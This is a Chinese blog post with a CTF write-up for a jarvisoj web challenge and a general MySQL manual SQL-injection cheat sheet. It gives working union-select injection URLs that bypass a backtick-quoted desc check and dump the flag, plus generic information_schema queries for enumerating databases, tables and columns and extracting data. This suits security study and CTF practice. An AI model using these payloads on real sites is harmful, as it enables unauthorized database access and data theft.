从一个ctf简单总结下mysql手工注入

文章最后更新时间为:2019年04月03日 15:26:47

0x01 先拿flag

有个很不错的ctf平台jarvisoj,上面收录了一些经典的ctf题目。今天做了一个web题,借此记录一下sql手工注入的语句。

题目链接是http://web.jarvisoj.com:32794/

  • hint:先找到源码再说吧~~

看起来就像源码泄露问题,于是用自己写的敏感信息泄露检测工具https://github.com/saucer-man/penetration-script/tree/master/source_leak,扫了一下没发现什么文件。。后来搜了wp才知道,源代码在http://web.jarvisoj.com:32794/index.php~,源代码如下:

<?php
require("config.php");
$table = $_GET['table']?$_GET['table']:"test";
$table = Filter($table);
mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();
$sql = "select 'flag{xxx}' from secret_{$table}";
$ret = sql_query($sql);
echo $ret[0];
?>

分析程序可知程序接收tables参数,我们需要通过mysqli_query($mysqli,"desc `secret_{$table}`"),并且利用$sql = "select 'flag{xxx}' from secret_{$table}";来执行注入。

我们知道desc是用来查表的结构的,其使用方法是desc+表名,后面还可以加个字段名,看下图就很清晰了。

对于表名,使用反引号和单引号的区别不是文章的重点,可以百度到,但是这里有个点:

desc users xxx; // 返回空
desc `users` `xxx`; //返回空
desc 'users' 'xxx'; //报错

这里应该也是题目用引号的原因,我们构造类似于下面的结构就可以绕过mysqli_query($mysqli,"desc `secret_{$table}`")

  • table=test` `xxx

    接下来利用上面的形式来利用"select 'flag{xxx}' from secret_{$table}";

    • 查数据库 http://web.jarvisoj.com:32794/index.php?table=test` `union select database() limit 1,1
    • 查表 http://web.jarvisoj.com:32794/index.php?table=test` `union select group_concat(distinct table_name) from information_schema.columns where table_schema=database() limit 1,1

    • 查字段 http://web.jarvisoj.com:32794/index.php?table=test` `union select group_concat(distinct column_name) from information_schema.columns where table_name=0x7365637265745f666c6167 limit 1,1

    • 查数据http://web.jarvisoj.com:32794/index.php?table=test`% `union select group_concat(flagUwillNeverKnow) from secret_flag limit 1,1

到这里似乎一切顺利,但回顾一下刚才的注入流程,第一条查询数据库的语句可还原为:
select 'flag{xxx}' from secret_test` `union select database() limit 1,1

这里令人不解,中间的反引号为什么没有影响到语句的执行

为了解决疑问,自己在本地搭建了环境,并且试着将反引号改为单引号或者双引号:

搜索了一下mysql对反引号的处理,似乎没有结果,这里暂且留下一个疑问,也欢迎大家留言指正。

0x02 一般的MYSQL手工注入语句

没什么特别的姿势,这里仅记录一下一般的注入语句,每次都手打太累了。

一般手工注入的姿势为:判断时什么注入,有无过滤关键词 --> 获取数据库用户、版本、当前数据库 --> 获取数据库的某个表 --> 获取字段 --> 获取数据

几个常用函数:

  1. version()——MySQL版本
  2. user()——用户名
  3. database()——数据库名
  4. @@datadir——数据库路径
  5. @@version_compile_os——操作系统版本

这里一般要用到连接函数

  1. concat(str1,str2,...)直接连接字符串,没有分隔符
  2. concat_ws(separator, str1, str2,...)连接字符串,中间用separator分割
  3. group_concat()用来连接某个字段,用逗号分割

    mysql> select concat('hello','world');
    +-------------------------+
    | concat('hello','world') |
    +-------------------------+
    | helloworld              |
    +-------------------------+
    1 row in set (0.00 sec)
    mysql> select concat_ws(',','hello','world');
    +--------------------------------+
    | concat_ws(',','hello','world') |
    +--------------------------------+
    | hello,world                    |
    +--------------------------------+
    1 row in set (0.00 sec)
    mysql> select group_concat(username) from users;
    +-----------------------------------------------------------------+
    | group_concat(username)                                          |
    +-----------------------------------------------------------------+
    | Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin         |
    +-----------------------------------------------------------------+

利用连接函数可以一次查出基本信息:

concat(version(),0x3a,user(),0x3a,database(),0x3a,@@datadir,0x3a,@@version_compile_os)

concat_ws(0x3a,version(),user(),database(),@@datadir,@@version_compile_os)

group_concat(version(),0x3a,user(),0x3a,database(),0x3a,@@datadir,0x3a,@@version_compile_os)

具体的查询语句有很多,主要是依靠information_schema这个库,平时用一种方法也就够了,这里只利用了information_schema.columns这个表。

  • 查数据库:(distinct去除了重复数值)

select group_concat(distinct table_schema) from information_schema.columns;

  • 查数据库表(库名用16进制,也可以直接用database(),直接加单双引号可能发送错误)

select group_concat(distinct table_name) from information_schema.columns where table_schema = 库名十六进制

  • 查表的字段

select group_concat(distinct column_name) from information_schema.columns where table_name = 表名十六进制

  • 查数据(0x3a是分号的ascii码)

select group_concat(列1,0x3a,列2,...) from 表名(不能是十六进制)

小思考

写到这里突然想起前几面找实习面试的时候,面试官问了一个问题,sql语句中什么字段可以编码?

sql语句能用16进制地方的最好用16进制,因为单引号双引号可能造成一些错误,但是什么地方可以16进制编码这个问题还真没思考过。我们可以做些实验。

首先列举出不能编码的字段:

然后列举可以编码的字段:

可以看出mysql会对用来比较的字段进行转换,也会对函数参数进行转化。当我们对不同类型的值进行比较的时候,为了使得这些数值可比较,MySQL会做一些隐式转化(Implicit type conversion),具体可参考https://blog.devopszen.com/mysql_paramshttps://dev.mysql.com/doc/refman/5.7/en/type-conversion.html

0x03 reference

1 + 9 =
快来做第一个评论的人吧~